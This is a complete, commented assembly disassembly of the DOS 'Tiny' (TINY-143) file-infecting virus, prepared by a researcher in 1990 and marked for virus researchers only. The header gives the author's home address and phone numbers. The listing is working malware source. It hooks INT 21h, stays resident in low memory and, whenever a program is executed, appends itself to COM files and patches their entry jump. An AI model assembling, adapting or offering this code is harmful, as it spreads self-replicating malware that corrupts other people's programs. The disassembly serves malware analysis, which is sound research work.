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174 lines
4.3 KiB
NASM
174 lines
4.3 KiB
NASM
page ,132
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name TINY143
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title The 'Tiny' virus, version TINY-143
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.radix 16
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; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
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; º Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 º
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; º Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 º
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; º º
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; º The 'Tiny' Virus, version TINY-143 º
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; º Disassembled by Vesselin Bontchev, August 1990 º
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; º º
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; º Copyright (c) Vesselin Bontchev 1989, 1990 º
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; º º
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; º This listing is only to be made available to virus researchers º
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; º or software writers on a need-to-know basis. º
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; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
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; The disassembly has been tested by re-assembly using MASM 5.0.
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code segment
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assume cs:code, ds:code
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org 100
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seg_60 equ 600
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v_len equ v_end-first4
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start:
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jmp v_entry ; Jump to virus code
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db 'M' ; Virus signature
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mov ax,4C00 ; Program terminate
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int 21
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; The original first 4 bytes of the infected file:
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first4 db 0EBh, 2, 90, 90
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v_entry:
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mov si,0FF ; Initialize some registers
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mov di,offset start ; Put the addres of program start in DI
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mov bx,int_21-first4+seg_60 ; Point BX at new INT 13h handler
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; The virus will be installed in memory at
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; address 0050:0100h (i.e., at segment 60h):
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mov cx,50
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add si,[si+2] ; Determine the start addres of the virus body
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push di ; Now a Near RET instruction will run the prg.
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movsw ; Restore the original first 4 bytes
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movsw
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mov es,cx ; Point ES:DI at 0050:0100h
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cmpsb ; Check if the virus is present in memory
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jz run ; Just run the program if so
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; Virus not in memory. Install it there:
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dec si ; Correct SI & DI to point at the start of
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dec di ; virus code and to destination address
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rep movsw ; Move the virus there
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mov es,cx ; ES := 0
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; Move the INT 21h handler to INT 32h and
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; install int_21 as new INT 21h handler.
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; By the way, now DI == 1A4h (i.e., 69h*4):
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xchg ax,bx ; Thransfer INT 21h vector to INT 69h,
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xchg ax,cx ; preserving AX
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lp:
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xchg ax,cx ; Get a word
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xchg ax,es:[di-(69-21)*4] ; Swap the two words
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stosw ; Save the word
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jcxz lp ; Loop until done (two times)
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xchg ax,bx ; Restore AX (to keep progs as DISKCOPY happy)
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run:
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push ds ; Restore ES
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pop es
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ret ; And exit (go to CS:100h)
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int_21: ; New INT 21h handler
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cmp ax,4B00 ; EXEC function call?
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jne end_21 ; Exit if not
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push ax ; Save registers used
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push bx
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push dx
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push ds
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push es
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mov ax,3D02 ; Open the file for both reading and writting
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int 69
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jc end_exec ; Exit on error
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xchg ax,bx ; Save the file handle in BX
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call lseek1 ; Lseek to file beginning (and set CL to 4)
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mov al,seg_60 shr 4 ; Read the first 4 bytes of the file
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mov ds,ax ; Set buffer offset to 0060:0000h
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mov es,ax ; Point ES there too
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mov ah,3F
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int 69 ; Do read
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; Check whether the file is already infected or is an .EXE file.
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; The former contains the character `M' in its 3rd byte and
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; the latter contains it either in the 0th or in the 1st byte.
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xor di,di
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mov al,'M' ; Look for `M'
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repne scasb
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jz close ; Exit if file not suitable for infection
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mov al,2 ; Seek to the end of file (and put 4 in CL)
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call lseek
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push ax ; Save file length
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mov cl,v_len ; Length of virus body
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mov ah,40 ; Append the virus to the file
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int 69 ; Do it
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call lseek1 ; Seek to the file beginning
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xchg ax,di ; Point DX at first4
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mov al,0E9 ; Near JMP opcode
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stosb ; Form the first instruction of the file
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pop ax ; Restore file length in AX
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inc ax
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stosw ; Form the JMP's opperand
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mov al,'M' ; Add a `M' character to mark the file
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stosb ; as infected
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mov ah,40 ; Overwrite the first 4 bytes of the file
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int 69 ; Do it
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close:
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mov ah,3E ; Close the file
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int 69
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end_exec:
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pop es ; Restore used registers
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pop ds
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pop dx
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pop bx
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pop ax
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; Exit through the original INT 21h handler:
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end_21:
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jmp dword ptr cs:[69*4]
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lseek1:
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mov al,0 ; Lseek to the file beginning
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lseek:
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mov ah,42 ; Lseek either to file beginning or to file end
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xor cx,cx
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xor dx,dx
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int 69 ; Do it
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mov cl,4 ; Put 4 in CL
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ret ; Done
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v_end equ $ ; End of virus body
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code ends
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end start
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